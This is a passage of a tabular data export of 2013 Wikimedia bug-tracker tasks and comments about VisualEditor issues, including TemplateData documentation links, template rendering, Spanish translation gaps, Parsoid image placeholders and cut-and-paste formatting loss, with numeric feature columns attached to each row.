as the precise policy on whether plants should be given common or latin names is quite involved. There other places where there is a need to provide links to further information: [[Wikipedia:Conservation status]], [[APG III system]] of classification of flowering plants, [[virus classification]], [[Template:Species list]] and [[Template:Taxon list]] for some sub templates used. 

Good documentation requires sufficient detail, more than can be provided in one line. 

I've a few thoughts on how this could be implements, the whole template could have a ""documentation"": ""Template:Taxobox/doc"". You could allow wikilinks inside the ""description"" or provide an optional ""link"" parameter.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49772",Needs Triage,90.0,1373780340,1452893140.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-fldsdjwnv5jvqc2iam55,task_description,duplicate,True,c1,3,False,False,False,1,,1.0,0.0,0.0,0.5,0.0,5.75,1.0,0.0,0.0,0.0,2.25,0.25,0.0,0.0,1.25,0.25,0.0,3.5,8.0,0.0,1.25,0.5,0.0,0.0,0.0,0.0,0.0,0.25,1.25,0.0,0.0,2.75,0.5,0.0,0.0,0.25,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,0.0,0.25,0.0,0.0,0.0,13.25,0.25,0.0,0.25,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,5.5,3.0,8.0,1.25,1.0,6.5,0.0,0.0,0.0,0.0,4.0,0.0,0.25,0.0,1.0,8.0,2.5,0.0,3.25,0.0,1.0,0.0,1.0,2.5,0.0,1.0,0.25,0.25,3.0,3.8718814080656183,0.6207706766917293,"When trying to describe complex template parameters there is a need to be able to link to a specific documentation page. For instance in in the Taxobox  there is a need to link to the main doc page
URL
as there are lots of subtitles in using the template.

Further there is also a need for links in some of the individual parameter. 
For the ""name"" parameter the description currently reads 

For plants, see [[Wikipedia:Naming conventions (flora)]]. For all other living things, the name should be the most common vernacular name, when one is in widespread use, and a scientific name otherwise.

as the precise policy on whether plants should be given common or latin names is quite involved. There other places where there is a need to provide links to further information: [[Wikipedia:Conservation status]], [[APG III system]] of classification of flowering plants, [[virus classification]], [[Template:Species list]] and [[Template:Taxon list]] for some sub templates used. 

Good documentation requires sufficient detail, more than can be provided in one line. 

I've a few thoughts on how this could be implements, the whole template could have a ""documentation"": ""Template:Taxobox/doc"". You could allow wikilinks inside the ""description"" or provide an optional ""link"" parameter.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
240797,Allow wikitext e.g. links to documentation in templatedata,"

*** This bug has been marked as a duplicate of bug 50656 ***",,,1375191068,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fldsdjwnv5jvqc2iam55,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50656 ***"
240795,Allow wikitext e.g. links to documentation in templatedata,*** Bug 50656 has been marked as a duplicate of this bug. ***,,,1375187353,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-fldsdjwnv5jvqc2iam55,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50656 has been marked as a duplicate of this bug. ***
240791,Allow wikitext e.g. links to documentation in templatedata,"At [https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564196505#Quotes_in_template_data] there is a related request to allow wikitext generally in Template Data documentation. 

The specific request for the example given there is the <code> tag to all better distinguishing of '' (two apostrophes for italic markup) and "" (double quote) by rendering them in a monospace font.",,,1373787877,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fldsdjwnv5jvqc2iam55,task_subcomment,,True,c1,3,False,,,1,,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.0,0.0,2.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,15.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,2.0,2.0,2.0,0.0,3.0,4.169491525423729,0.8135593220338984,"At [URL there is a related request to allow wikitext generally in Template Data documentation. 

The specific request for the example given there is the <code> tag to all better distinguishing of '' (two apostrophes for italic markup) and "" (double quote) by rendering them in a monospace font."
53280,VisualEditor: External link missing in template due to linkname with ampersand in it,"Here in VE, the {{Discogs master}} template usage at the bottom of the page in the external links does not render.

Escaping the ampersand in the page name seems to make it work: https://en.wikipedia.org/w/index.php?title=Bossalinis_%26_Fooliyones&diff=564046051&oldid=564034183

So possible entity escaping problem

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.wikipedia.org/w/index.php?title=Bossalinis_%26_Fooliyones&oldid=564034183",Needs Triage,90.0,1373700600,1385386971.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-ykvbtj26wyleuw4bnbjh,task_description,resolved,True,c1,3,True,False,False,1,,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.608108108108108,0.5945945945945946,"Here in VE, the {{Discogs master}} template usage at the bottom of the page in the external links does not render.

Escaping the ampersand in the page name seems to make it work: URL

So possible entity escaping problem

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
239102,VisualEditor: External link missing in template due to linkname with ampersand in it,confirmed,,,1385420773,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ykvbtj26wyleuw4bnbjh,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,confirmed
239092,VisualEditor: External link missing in template due to linkname with ampersand in it,I think this has been subsequently fixed - can you confirm?,,,1385386971,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ykvbtj26wyleuw4bnbjh,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,1.0,I think this has been subsequently fixed - can you confirm?
53249,VisualEditor: Interface has elements untranslated in Spanish,"**Author:** `jduranboger`

**Description:**
In Wikipedia in spanish its neccesary tranaslate the interface for link of edit section still apear ""edit surce"" it should be ""editar fuente"".

En Wikipedia en español es necesario traducir la interface para el enlace de Editar secciones, sigue apareciendo como ""edit source"", lo correcto es ""editar fuente""

--------------------------
**Version**: unspecified
**Severity**: trivial",Needs Triage,90.0,1373649540,1373652398.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-de6dmorszoddddclnd4y,task_description,invalid,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,11.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,5.0,22.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.043956043956044,0.6263736263736264,"**Author:** CODE

**Description:**
In Wikipedia in spanish its neccesary tranaslate the interface for link of edit section still apear ""edit surce"" it should be ""editar fuente"".

En Wikipedia en español es necesario traducir la interface para el enlace de Editar secciones, sigue apareciendo como ""edit source"", lo correcto es ""editar fuente""

--------------------------
**Version**: unspecified
**Severity**: trivial"
237026,VisualEditor: Interface has elements untranslated in Spanish,"[Sorry for bad auto-translation.]

La traducción de la interfaz del software se realiza en TranslateWiki.Net.

Puede ver todos los mensajes traducidas existentes para VisualEditor en Español
en:

http://translatewiki.net/w/i.php?title=Special:Translate&language=es&group=ext-visualeditor

Estoy de acuerdo en que hay demasiados mensajes sin traducir.

Para convertirse en un traductor de sí mismo, por favor vaya a:


https://translatewiki.net/w/i.php?title=Special:UserLogin&returnto=Special%3AFirstSteps&type=signup&uselang=es",,,1373652658,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-de6dmorszoddddclnd4y,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,47.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.142857142857143,0.7714285714285715,"[Sorry for bad auto-translation.]

La traducción de la interfaz del software se realiza en TranslateWiki.Net.

Puede ver todos los mensajes traducidas existentes para VisualEditor en Español
en:

URL

Estoy de acuerdo en que hay demasiados mensajes sin traducir.

Para convertirse en un traductor de sí mismo, por favor vaya a:


URL"
237022,VisualEditor: Interface has elements untranslated in Spanish,"Translation of the software interface is done on TranslateWiki.Net.

You can see all the existing untranslated messages for VisualEditor in Spanish at:

 http://translatewiki.net/w/i.php?title=Special:Translate&language=es&group=ext-visualeditor

I agree that there are too many untranslated messages.

To become a translator yourself, please go to:

  https://translatewiki.net/w/i.php?title=Special:UserLogin&returnto=Special%3AFirstSteps&type=signup&uselang=es",,,1373652398,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-de6dmorszoddddclnd4y,task_subcomment,,True,c1,3,True,,,1,,4.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,2.0,4.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,19.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,6.0,15.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.39622641509434,0.8301886792452831,"Translation of the software interface is done on TranslateWiki.Net.

You can see all the existing untranslated messages for VisualEditor in Spanish at:

 URL

I agree that there are too many untranslated messages.

To become a translator yourself, please go to:

  URL"
53244,VisualEditor: Images disappear when the editor is loaded,"Compare
1) https://pt.wikipedia.org/wiki/?oldid=36380720&action=edit&preview=yes
2) https://pt.wikipedia.org/wiki/?oldid=36380720&veaction=edit

There are two images in the first case, but they disappear in the second case.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373645640,1373646127.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-yz6cpenppcreusg72zvt,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.488888888888889,0.6222222222222222,"Compare
1) URL
2) URL

There are two images in the first case, but they disappear in the second case.

--------------------------
**Version**: unspecified
**Severity**: normal"
236659,VisualEditor: Images disappear when the editor is loaded,"Per http://parsoid.wmflabs.org/pt/Usu%C3%A1rio:Helder.wiki/Testes?oldid=36380720 the images have been replaced by Parsoid with <meta typeof=""mw:Placeholder"" data-parsoid=""…""> which is why they don't appear. This is apparently caused by bug 48900 - merging with that.

*** This bug has been marked as a duplicate of bug 48900 ***",,,1373646127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yz6cpenppcreusg72zvt,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,10.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,11.0,3.0,0.0,5.0,0.0,2.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,3.0,3.5081967213114753,0.7213114754098361,"Per URL the images have been replaced by Parsoid with <meta typeof=""mw:Placeholder"" data-parsoid=""…""> which is why they don't appear. This is apparently caused by bug 48900 - merging with that.

*** This bug has been marked as a duplicate of bug 48900 ***"
236652,VisualEditor: Images disappear when the editor is loaded,"Parsoid just adds a missing space in the [link syntax]:
http://parsoid.wmflabs.org/_rt/pt/?oldid=36380720",,,1373645936,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-yz6cpenppcreusg72zvt,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,3.3333333333333335,1.0,"Parsoid just adds a missing space in the [link syntax]:
URL"
53220,VisualEditor: Cut and Pasting a section that contains an image truncates all the sections formatting after pasting it.,"Sorry if this turns out to be a duplicate - a search trough the bugs containing the words ""copy paste"" doesn't seem to turn anything up though. 

The problem is as the title says: Cut and Pasting a section in the visual editor will remove all the formatting provided that section contains an image. Tested on Firefox 22, Mono skin.

Steps to reproduce:
- Navigate to https://en.wikipedia.org/w/index.php?title=Microsoft&oldid=563598458 and edit the page with the visual editor.
- Cut the ""1972–83: Founding and company beginnings"" section entirely. Eg, anything between the ""1972–83:"" in the section header, and the ""Hodgkin's disease.[4]:231"" in the section content. (This will also select the image in the section)
- Click the location where the section used to be and paste the text - technically speaking pasting anywhere causes the problem though.

The text that is pasted will be stripped of all formatting, and the image that was selected will be gone as well.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1373610900,1374459959.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-hrdmmz7wdsz3xmnhvpp2,task_description,resolved,True,c1,3,False,False,True,1,,0.6666666666666666,0.6666666666666666,0.3333333333333333,2.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,4.333333333333333,6.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.3333333333333333,1.3333333333333333,1.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,2.6666666666666665,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,9.666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.0,9.333333333333334,3.0,7.0,0.6666666666666666,2.3333333333333335,11.0,0.0,0.0,0.0,0.0,6.0,0.3333333333333333,0.6666666666666666,0.0,0.0,6.0,1.3333333333333333,0.0,2.6666666666666665,0.0,0.0,0.0,1.3333333333333333,1.3333333333333333,0.0,2.0,0.0,0.0,0.0,3.966597653554176,0.6916494133885438,"Sorry if this turns out to be a duplicate - a search trough the bugs containing the words ""copy paste"" doesn't seem to turn anything up though. 

The problem is as the title says: Cut and Pasting a section in the visual editor will remove all the formatting provided that section contains an image. Tested on Firefox 22, Mono skin.

Steps to reproduce:
- Navigate to URL and edit the page with the visual editor.
- Cut the ""1972–83: Founding and company beginnings"" section entirely. Eg, anything between the ""1972–83:"" in the section header, and the ""Hodgkin's disease.[4]:231"" in the section content. (This will also select the image in the section)
- Click the location where the section used to be and paste the text - technically speaking pasting anywhere causes the problem though.

The text that is pasted will be stripped of all formatting, and the image that was selected will be gone as well.

--------------------------
**Version**: unspecified
**Severity**: major"
235424,VisualEditor: Cut and Pasting a section that contains an image truncates all the sections formatting after pasting it.,"And marking as a duplicate of bug 33105, which is about supporting this functionality.

The cut operation should probably be 'disabled' if it contains elements that can't be pasted again.  However the 'cut' operation could do a 'copy' operation, with a notice to the user that cut is not supported for complex wiki blocks.

The paste operation should probably be disabled until this is fixed, with a notice to the user that they should press undo/Control-Z to get back their text if the last item on the undo stack is a Cut operation.

But there is probably also an 'enhancement' raised about those as well.

*** This bug has been marked as a duplicate of bug 33105 ***",,,1374459959,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hrdmmz7wdsz3xmnhvpp2,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,2.5,1.0,3.0,2.0,0.0,0.0,1.0,2.5,5.0,0.0,0.0,0.5,0.0,0.5,6.5,9.5,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.5,4.5,0.0,0.5,0.5,0.5,0.0,13.0,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,2.0,0.0,0.0,1.0,0.5,0.0,8.0,5.5,5.5,1.0,1.0,11.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,2.0,9.5,0.5,0.0,4.5,0.0,2.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,3.756756756756757,0.722972972972973,"And marking as a duplicate of bug 33105, which is about supporting this functionality.

The cut operation should probably be 'disabled' if it contains elements that can't be pasted again.  However the 'cut' operation could do a 'copy' operation, with a notice to the user that cut is not supported for complex wiki blocks.

The paste operation should probably be disabled until this is fixed, with a notice to the user that they should press undo/Control-Z to get back their text if the last item on the undo stack is a Cut operation.

But there is probably also an 'enhancement' raised about those as well.

*** This bug has been marked as a duplicate of bug 33105 ***"
235419,VisualEditor: Cut and Pasting a section that contains an image truncates all the sections formatting after pasting it.,Confirming your example.,,,1374459355,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hrdmmz7wdsz3xmnhvpp2,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,5.5,1.0,Confirming your example.
235414,VisualEditor: Cut and Pasting a section that contains an image truncates all the sections formatting after pasting it.,See also https://bugzilla.wikimedia.org/show_bug.cgi?id=50721,,,1373883205,,PHID-USER-lumvg23bxmfbvekr2fbo,False,,,PHID-TASK-hrdmmz7wdsz3xmnhvpp2,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,See also URL
53200,Botfixup: VisualEditor shows 6 items in a list which for which MW only generates 2 items,"Compare the result of the wikitext
#1
#
#
#
#
#6
in the following URLs:
1) https://pt.wikipedia.org/wiki/?oldid=36373624&veaction=edit
2) https://pt.wikipedia.org/wiki/?oldid=36373624&action=edit&preview=yes

Visual Editor show us a list with 6 elements, but MediaWiki will only display two items.

Maybe this is related to Tidy?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373577600,1373599184.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-jakyw4q5ktlmqgd4sv3v,task_description,declined,True,c1,3,False,False,True,1,,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,14.0,0.0,1.0,6.0,0.0,0.0,0.0,8.0,3.0,0.0,6.0,0.0,1.0,5.0,5.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,3.151898734177215,0.5949367088607594,"Compare the result of the wikitext
#1
#
#
#
#
#6
in the following URLs:
1) URL
2) URL

Visual Editor show us a list with 6 elements, but MediaWiki will only display two items.

Maybe this is related to Tidy?

--------------------------
**Version**: unspecified
**Severity**: normal"
234299,Botfixup: VisualEditor shows 6 items in a list which for which MW only generates 2 items,"It would be difficult to sanely edit undisplayed list items. We would basically have to pretend those list items were never there. They would not be editable in the VE. 

While not impossible, even round-tripping of such collapsed list items would add a lot of special-case code.

So overall I am very doubtful that this would be worth it. IMO it is better to fix the wikitext, possibly with a bot. I'm closing this as wontfix for now. Please reopen if there are good reasons why correcting this with bots is not feasible.",,,1373599184,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jakyw4q5ktlmqgd4sv3v,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,1.0,0.0,2.0,7.0,4.5,0.0,0.0,1.0,1.5,1.0,0.0,0.0,1.0,2.5,1.0,11.0,9.5,0.0,2.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,4.5,1.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,1.0,2.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,3.0,6.0,7.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,5.0,9.5,0.5,0.0,0.0,0.0,5.0,0.0,1.0,1.5,0.0,2.0,1.0,0.0,0.0,3.918181818181818,0.7818181818181819,"It would be difficult to sanely edit undisplayed list items. We would basically have to pretend those list items were never there. They would not be editable in the VE. 

While not impossible, even round-tripping of such collapsed list items would add a lot of special-case code.

So overall I am very doubtful that this would be worth it. IMO it is better to fix the wikitext, possibly with a bot. I'm closing this as wontfix for now. Please reopen if there are good reasons why correcting this with bots is not feasible."
